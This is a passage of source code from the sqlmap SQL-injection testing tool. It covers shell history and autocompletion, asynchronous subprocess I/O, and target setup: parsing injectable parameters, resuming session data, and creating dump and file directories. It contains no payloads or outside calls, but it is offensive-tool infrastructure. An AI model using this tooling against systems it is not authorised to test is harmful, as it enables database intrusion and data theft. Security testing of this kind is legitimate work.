AUTOCOMPLETE_TYPE.API: historyPath = paths.API_SHELL_HISTORY else: historyPath = paths.SQLMAP_SHELL_HISTORY try: with open(historyPath, "w+"): pass except: pass readline.set_history_length(MAX_HISTORY_LENGTH) try: readline.write_history_file(historyPath) except IOError as ex: warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, getSafeExString(ex)) logger.warning(warnMsg) except KeyboardInterrupt: pass def loadHistory(completion=None): if not readlineAvailable(): return clearHistory() if completion == AUTOCOMPLETE_TYPE.SQL: historyPath = paths.SQL_SHELL_HISTORY elif completion == AUTOCOMPLETE_TYPE.OS: historyPath = paths.OS_SHELL_HISTORY elif completion == AUTOCOMPLETE_TYPE.API: historyPath = paths.API_SHELL_HISTORY else: historyPath = paths.SQLMAP_SHELL_HISTORY if os.path.exists(historyPath): try: readline.read_history_file(historyPath) except IOError as ex: warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, getSafeExString(ex)) logger.warning(warnMsg) except UnicodeError: if IS_WIN: warnMsg = "there was a problem loading the history file '%s'. " % historyPath warnMsg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" logger.warning(warnMsg) def autoCompletion(completion=None, os=None, commands=None): if not readlineAvailable(): return if completion == AUTOCOMPLETE_TYPE.OS: if os == OS.WINDOWS: # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ "attrib": None, "copy": None, "del": None, "dir": None, "echo": None, "fc": None, "label": None, "md": None, "mem": None, "move": None, "net": None, "netstat -na": None, "tree": None, "truename": None, "type": None, "ver": None, "vol": None, "xcopy": None, }) else: # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands completer = CompleterNG({ "cat": None, "chmod": None, "chown": None, "cp": None, "cut": None, "date": None, "df": None, "diff": None, "du": None, "echo": None, "env": None, "file": None, "find": None, "free": None, "grep": None, "id": None, "ifconfig": None, "ls": None, "mkdir": None, "mv": None, "netstat": None, "pwd": None, "rm": None, "uname": None, "whoami": None, }) readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") elif commands: completer = CompleterNG(dict(((_, None) for _ in commands))) readline.set_completer_delims(' ') readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") loadHistory(completion) atexit.register(saveHistory, completion) sqlmap-1.9.6/lib/core/subprocessng.py000066400000000000000000000130301502261744200176110ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import errno import os import subprocess import time from lib.core.compat import buffer from lib.core.convert import getBytes from lib.core.settings import IS_WIN if IS_WIN: try: from win32file import ReadFile, WriteFile from win32pipe import PeekNamedPipe except ImportError: pass import msvcrt else: import select import fcntl def blockingReadFromFD(fd): # Quick twist around original Twisted function # Blocking read from a non-blocking file descriptor output = b"" while True: try: output += os.read(fd, 8192) except (OSError, IOError) as ioe: if ioe.args[0] in (errno.EAGAIN, errno.EINTR): # Uncomment the following line if the process seems to # take a huge amount of cpu time # time.sleep(0.01) continue else: raise break if not output: raise EOFError("fd %s has been closed." % fd) return output def blockingWriteToFD(fd, data): # Another quick twist while True: try: data_length = len(data) wrote_data = os.write(fd, data) except (OSError, IOError) as io: if io.errno in (errno.EAGAIN, errno.EINTR): continue else: raise if wrote_data < data_length: blockingWriteToFD(fd, data[wrote_data:]) break # the following code is taken from http://code.activestate.com/recipes/440554-module-to-allow-asynchronous-subprocess-use-on-win/ class Popen(subprocess.Popen): def recv(self, maxsize=None): return self._recv('stdout', maxsize) def recv_err(self, maxsize=None): return self._recv('stderr', maxsize) def send_recv(self, input='', maxsize=None): return self.send(input), self.recv(maxsize), self.recv_err(maxsize) def get_conn_maxsize(self, which, maxsize): if maxsize is None: maxsize = 1024 elif maxsize < 1: maxsize = 1 return getattr(self, which), maxsize def _close(self, which): getattr(self, which).close() setattr(self, which, None) if IS_WIN: def send(self, input): if not self.stdin: return None try: x = msvcrt.get_osfhandle(self.stdin.fileno()) (_, written) = WriteFile(x, input) except ValueError: return self._close('stdin') except Exception as ex: if getattr(ex, "args", None) and ex.args[0] in (109, errno.ESHUTDOWN): return self._close('stdin') raise return written def _recv(self, which, maxsize): conn, maxsize = self.get_conn_maxsize(which, maxsize) if conn is None: return None try: x = msvcrt.get_osfhandle(conn.fileno()) (read, nAvail, _) = PeekNamedPipe(x, 0) if maxsize < nAvail: nAvail = maxsize if nAvail > 0: (_, read) = ReadFile(x, nAvail, None) except (ValueError, NameError): return self._close(which) except Exception as ex: if getattr(ex, "args", None) and ex.args[0] in (109, errno.ESHUTDOWN): return self._close(which) raise if self.universal_newlines: read = self._translate_newlines(read) return read else: def send(self, input): if not self.stdin: return None if not select.select([], [self.stdin], [], 0)[1]: return 0 try: written = os.write(self.stdin.fileno(), input) except OSError as ex: if ex.args[0] == errno.EPIPE: # broken pipe return self._close('stdin') raise return written def _recv(self, which, maxsize): conn, maxsize = self.get_conn_maxsize(which, maxsize) if conn is None: return None flags = fcntl.fcntl(conn, fcntl.F_GETFL) if not conn.closed: fcntl.fcntl(conn, fcntl.F_SETFL, flags | os.O_NONBLOCK) try: if not select.select([conn], [], [], 0)[0]: return '' r = conn.read(maxsize) if not r: return self._close(which) if self.universal_newlines: r = self._translate_newlines(r) return r finally: if not conn.closed: fcntl.fcntl(conn, fcntl.F_SETFL, flags) def recv_some(p, t=.1, e=1, tr=5, stderr=0): if tr < 1: tr = 1 x = time.time() + t y = [] r = '' if stderr: pr = p.recv_err else: pr = p.recv while time.time() < x or r: r = pr() if r is None: break elif r: y.append(r) else: time.sleep(max((x - time.time()) / tr, 0)) return b''.join(y) def send_all(p, data): if not data: return data = getBytes(data) while len(data): sent = p.send(data) if not isinstance(sent, int): break data = buffer(data[sent:]) sqlmap-1.9.6/lib/core/target.py000066400000000000000000001026141502261744200163710ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import functools import os import re import subprocess import sys import tempfile import time from lib.core.common import Backend from lib.core.common import getSafeExString from lib.core.common import hashDBRetrieve from lib.core.common import intersect from lib.core.common import isNumPosStrValue from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import paramToDict from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removePostHintPrefix from lib.core.common import resetCookieJar from lib.core.common import safeStringFormat from lib.core.common import unArrayizeValue from lib.core.common import urldecode from lib.core.compat import xrange from lib.core.convert import decodeBase64 from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import mergedOptions from lib.core.data import paths from lib.core.datatype import InjectionDict from lib.core.dicts import DBMS_DICT from lib.core.dump import dumper from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUserQuitException from lib.core.option import _setAuthCred from lib.core.option import _setDBMS from lib.core.option import _setKnowledgeBaseAttributes from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES from lib.core.settings import INJECT_HERE_REGEX from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX from lib.core.settings import JSON_RECOGNITION_REGEX from lib.core.settings import MULTIPART_RECOGNITION_REGEX from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import REFERER_ALIASES from lib.core.settings import RESTORE_MERGED_OPTIONS from lib.core.settings import RESULTS_FILE_FORMAT from lib.core.settings import SESSION_SQLITE_FILE from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import XML_RECOGNITION_REGEX from lib.core.threads import getCurrentThreadData from lib.utils.hashdb import HashDB from thirdparty import six from thirdparty.odict import OrderedDict from thirdparty.six.moves import urllib as _urllib def _setRequestParams(): """ Check and set the parameters and perform checks on 'data' option for HTTP method POST. """ if conf.direct: conf.parameters[None] = "direct connection" return hintNames = [] testableParameters = False # Perform checks on GET parameters if conf.parameters.get(PLACE.GET): parameters = conf.parameters[PLACE.GET] paramDict = paramToDict(PLACE.GET, parameters) if paramDict: conf.paramDict[PLACE.GET] = paramDict testableParameters = True # Perform checks on POST parameters if conf.method == HTTPMETHOD.POST and conf.data is None: logger.warning("detected empty POST body") conf.data = "" if conf.data is not None: conf.method = conf.method or HTTPMETHOD.POST def process(match, repl): retVal = match.group(0) if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'): retVal = repl while True: _ = re.search(r"\\g<([^>]+)>", retVal) if _: try: retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) except IndexError: break else: break if kb.customInjectionMark in retVal: hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name"))) return retVal if kb.processUserMarks is None and kb.customInjectionMark in conf.data: message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method) message += "body. Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException else: kb.processUserMarks = choice == 'Y' if kb.processUserMarks: kb.testOnlyCustom = True if re.search(JSON_RECOGNITION_REGEX, conf.data): message = "JSON data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': kb.postHint = POST_HINT.JSON if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*".*?)"(?%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*")"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) for match in re.finditer(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data): if not (conf.testParameter and match.group("name") not in conf.testParameter): _ = match.group(2) if kb.customInjectionMark not in _: # Note: only for unprocessed (simple) forms - i.e. non-associative arrays (e.g. [1,2,3]) _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _) _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _) conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): message = "JSON-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': kb.postHint = POST_HINT.JSON_LIKE if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) if '"' in conf.data: conf.data = re.sub(r'((?P"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'((?P"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data) else: conf.data = re.sub(r"((?P'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data) conf.data = re.sub(r"((?P'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data) elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): message = "Array-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': kb.postHint = POST_HINT.ARRAY_LIKE if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data) elif re.search(XML_RECOGNITION_REGEX, conf.data): message = "SOAP/XML data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % kb.customInjectionMark), conf.data) elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): message = "Multipart-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': kb.postHint = POST_HINT.MULTIPART if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(?si)(Content-Disposition:[^\n]+\s+name=\"(?P[^\"]+)\"(?:[^f|^b]|f(?!ilename=)|b(?!oundary=))*?)((%s)--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<3>" % kb.customInjectionMark), conf.data) if not kb.postHint: if kb.customInjectionMark in conf.data: # later processed pass else: place = PLACE.POST conf.parameters[place] = conf.data paramDict = paramToDict(place, conf.data) if paramDict: conf.paramDict[place] = paramDict testableParameters = True else: if kb.customInjectionMark not in conf.data: # in case that no usable parameter values has been found conf.parameters[PLACE.POST] = conf.data kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"): warnMsg = "you've provided target URL without any GET " warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') " warnMsg += "and without providing any POST parameters " warnMsg += "through option '--data'" logger.warning(warnMsg) message = "do you want to try URI injections " message += "in the target URL itself? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': conf.url = "%s%s" % (conf.url, kb.customInjectionMark) kb.processUserMarks = True for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))): if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)): continue _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or "" if kb.customInjectionMark in _: if kb.processUserMarks is None: lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'} message = "custom injection marker ('%s') found in option " % kb.customInjectionMark message += "'%s'. Do you want to process it? [Y/n/q] " % lut[place] choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException else: kb.processUserMarks = choice == 'Y' if kb.processUserMarks: kb.testOnlyCustom = True if "=%s" % kb.customInjectionMark in _: warnMsg = "it seems that you've provided empty parameter value(s) " warnMsg += "for testing. Please, always use only valid parameter values " warnMsg += "so sqlmap could be able to run properly" logger.warning(warnMsg) if not kb.processUserMarks: if place == PLACE.URI: query = _urllib.parse.urlsplit(value).query if query: parameters = conf.parameters[PLACE.GET] = query paramDict = paramToDict(PLACE.GET, parameters) if paramDict: conf.url = conf.url.split('?')[0] conf.paramDict[PLACE.GET] = paramDict testableParameters = True elif place == PLACE.CUSTOM_POST: conf.parameters[PLACE.POST] = conf.data paramDict = paramToDict(PLACE.POST, conf.data) if paramDict: conf.paramDict[PLACE.POST] = paramDict testableParameters = True else: if place == PLACE.URI: value = conf.url = conf.url.replace('+', "%20") # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5123 conf.parameters[place] = value conf.paramDict[place] = OrderedDict() if place == PLACE.CUSTOM_HEADER: for index in xrange(len(conf.httpHeaders)): header, value = conf.httpHeaders[index] if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value): parts = value.split(kb.customInjectionMark) for i in xrange(len(parts) - 1): conf.paramDict[place]["%s #%d%s" % (header, i + 1, kb.customInjectionMark)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts)))) conf.httpHeaders[index] = (header, value.replace(kb.customInjectionMark, "")) else: parts = value.split(kb.customInjectionMark) for i in xrange(len(parts) - 1): name = None if kb.postHint: for ending, _ in hintNames: if parts[i].endswith(ending): name = "%s %s" % (kb.postHint, _) break if name is None: name = "%s#%s%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, kb.customInjectionMark) conf.paramDict[place][name] = "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts))) if place == PLACE.URI and PLACE.GET in conf.paramDict: del conf.paramDict[PLACE.GET] elif place == PLACE.CUSTOM_POST and PLACE.POST in conf.paramDict: del conf.paramDict[PLACE.POST] testableParameters = True if kb.processUserMarks: for item in ("url", "data", "agent", "referer", "cookie"): if conf.get(item): conf[item] = conf[item].replace(kb.customInjectionMark, "") # Perform checks on Cookie parameters if conf.cookie: conf.parameters[PLACE.COOKIE] = conf.cookie paramDict = paramToDict(PLACE.COOKIE, conf.cookie) if paramDict: conf.paramDict[PLACE.COOKIE] = paramDict testableParameters = True # Perform checks on header values if conf.httpHeaders: for httpHeader, headerValue in list(conf.httpHeaders): # Url encoding of the header values should be avoided # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper(): conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue) condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True))) if condition: conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue} testableParameters = True elif httpHeader.upper() == HTTP_HEADER.REFERER.upper(): conf.parameters[PLACE.REFERER] = urldecode(headerValue) condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True))) if condition: conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue} testableParameters = True elif httpHeader.upper() == HTTP_HEADER.HOST.upper(): conf.parameters[PLACE.HOST] = urldecode(headerValue) condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True))) if condition: conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue} testableParameters = True else: condition = intersect(conf.testParameter, [httpHeader], True) if condition: conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders) conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)} conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders] testableParameters = True if not conf.parameters: errMsg = "you did not provide any GET, POST and Cookie " errMsg += "parameter, neither an User-Agent, Referer or Host header value" raise SqlmapGenericException(errMsg) elif not testableParameters: errMsg = "all testable parameters you provided are not present " errMsg += "within the given request data" raise SqlmapGenericException(errMsg) if conf.csrfToken: if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) else: for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE): if conf.csrfToken: break for parameter in conf.paramDict.get(place, {}): if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): message = "%sparameter '%s' appears to hold anti-CSRF token. " % ("%s " % place if place != parameter else "", parameter) message += "Do you want sqlmap to automatically update it in further requests? [y/N] " if readInput(message, default='N', boolean=True): class _(six.text_type): pass conf.csrfToken = _(re.escape(getUnicode(parameter))) conf.csrfToken._original = getUnicode(parameter) break def _setHashDB(): """ Check and set the HashDB SQLite file for query resume functionality. """ if not conf.hashDBFile: conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE) if conf.flushSession: if os.path.exists(conf.hashDBFile): if conf.hashDB: conf.hashDB.closeAll() try: os.remove(conf.hashDBFile) logger.info("flushing session file") except OSError as ex: errMsg = "unable to flush the session file ('%s')" % getSafeExString(ex) raise SqlmapFilePathException(errMsg) conf.hashDB = HashDB(conf.hashDBFile) def _resumeHashDBValues(): """ Resume stored data values from HashDB """ kb.absFilePaths = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or kb.absFilePaths kb.brute.tables = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True) or kb.brute.tables kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH) if isNumPosStrValue(kb.errorChunkLength): kb.errorChunkLength = int(kb.errorChunkLength) else: kb.errorChunkLength = None conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]: if not conf.technique or intersect(conf.technique, injection.data.keys()): if intersect(conf.technique, injection.data.keys()): injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.technique) if injection not in kb.injections: kb.injections.append(injection) kb.vulnHosts.add(conf.hostname) _resumeDBMS() _resumeOS() def _resumeDBMS(): """ Resume stored DBMS information from HashDB """ value = hashDBRetrieve(HASHDB_KEYS.DBMS) if not value: if conf.offline: errMsg = "unable to continue in offline mode " errMsg += "because of lack of usable " errMsg += "session data" raise SqlmapNoneDataException(errMsg) else: return dbms = value.lower() dbmsVersion = [UNKNOWN_DBMS_VERSION] _ = "(%s)" % ('|'.join(SUPPORTED_DBMS)) _ = re.search(r"\A%s (.*)" % _, dbms, re.I) if _: dbms = _.group(1).lower() dbmsVersion = [_.group(2)] if conf.dbms: check = True for aliases, _, _, _ in DBMS_DICT.values(): if conf.dbms.lower() in aliases and dbms not in aliases: check = False break if not check: message = "you provided '%s' as a back-end DBMS, " % conf.dbms message += "but from a past scan information on the target URL " message += "sqlmap assumes the back-end DBMS is '%s'. " % dbms message += "Do you really want to force the back-end " message += "DBMS value? [y/N] " if not readInput(message, default='N', boolean=True): conf.dbms = None Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) else: infoMsg = "resuming back-end DBMS '%s' " % dbms logger.info(infoMsg) Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) def _resumeOS(): """ Resume stored OS information from HashDB """ value = hashDBRetrieve(HASHDB_KEYS.OS) if not value: return os = value if os and os != 'None': infoMsg = "resuming back-end DBMS operating system '%s' " % os logger.info(infoMsg) if conf.os and conf.os.lower() != os.lower(): message = "you provided '%s' as back-end DBMS operating " % conf.os message += "system, but from a past scan information on the " message += "target URL sqlmap assumes the back-end DBMS " message += "operating system is %s. " % os message += "Do you really want to force the back-end DBMS " message += "OS value? [y/N] " if not readInput(message, default='N', boolean=True): conf.os = os else: conf.os = os Backend.setOs(conf.os) def _setResultsFile(): """ Create results file for storing results of running in a multiple target mode. """ if not conf.multipleTargets: return if not conf.resultsFP: conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) found = os.path.exists(conf.resultsFile) try: conf.resultsFP = openFile(conf.resultsFile, "a", UNICODE_ENCODING, buffering=0) except (OSError, IOError) as ex: try: warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFile, getUnicode(ex)) handle, conf.resultsFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv") os.close(handle) conf.resultsFP = openFile(conf.resultsFile, "w+", UNICODE_ENCODING, buffering=0) warnMsg += "Using temporary file '%s' instead" % conf.resultsFile logger.warning(warnMsg) except IOError as _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " errMsg += "create temporary files and/or directories" raise SqlmapSystemException(errMsg) if not found: conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep) logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFile) def _createFilesDir(): """ Create the file directory. """ if not any((conf.fileRead, conf.commonFiles)): return conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname if not os.path.isdir(conf.filePath): try: os.makedirs(conf.filePath) except OSError as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapfiles") warnMsg = "unable to create files directory " warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warning(warnMsg) conf.filePath = tempDir def _createDumpDir(): """ Create the dump directory. """ if not conf.dumpTable and not conf.dumpAll and not conf.search: return conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, conf.hostname) if not os.path.isdir(conf.dumpPath): try: os.makedirs(conf.dumpPath) except Exception as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapdump") warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warning(warnMsg) conf.dumpPath = tempDir def _configureDumper(): conf.dumper = dumper conf.dumper.setOutputFile() def _createTargetDirs(): """ Create the output directory. """ conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname))) try: if not os.path.isdir(conf.outputPath): os.makedirs(conf.outputPath) except (OSError, IOError, TypeError) as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") warnMsg = "unable to create output directory " warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warning(warnMsg) conf.outputPath = tempDir conf.outputPath = getUnicode(conf.outputPath) try: with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f: f.write(getUnicode(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)) f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET)) f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding)) if conf.data: f.write("\n\n%s" % getUnicode(conf.data)) except IOError as ex: if "denied" in getUnicode(ex): errMsg = "you don't have enough permissions " else: errMsg = "something went wrong while trying " errMsg += "to write to the output directory '%s' (%s)" % (paths.SQLMAP_OUTPUT_PATH, getSafeExString(ex)) raise SqlmapMissingPrivileges(errMsg) except UnicodeError as ex: warnMsg = "something went wrong while saving target data ('%s')" % getSafeExString(ex) logger.warning(warnMsg) _createDumpDir() _createFilesDir() _configureDumper() def _setAuxOptions(): """ Setup auxiliary (host-dependent) options """ kb.aliasName = randomStr(seed=hash(conf.hostname or "")) def _restoreMergedOptions(): """ Restore merged options (command line, configuration file and default values) that could be possibly changed during the testing of previous target. """ for option in RESTORE_MERGED_OPTIONS: conf[option] = mergedOptions[option] def initTargetEnv(): """ Initialize target 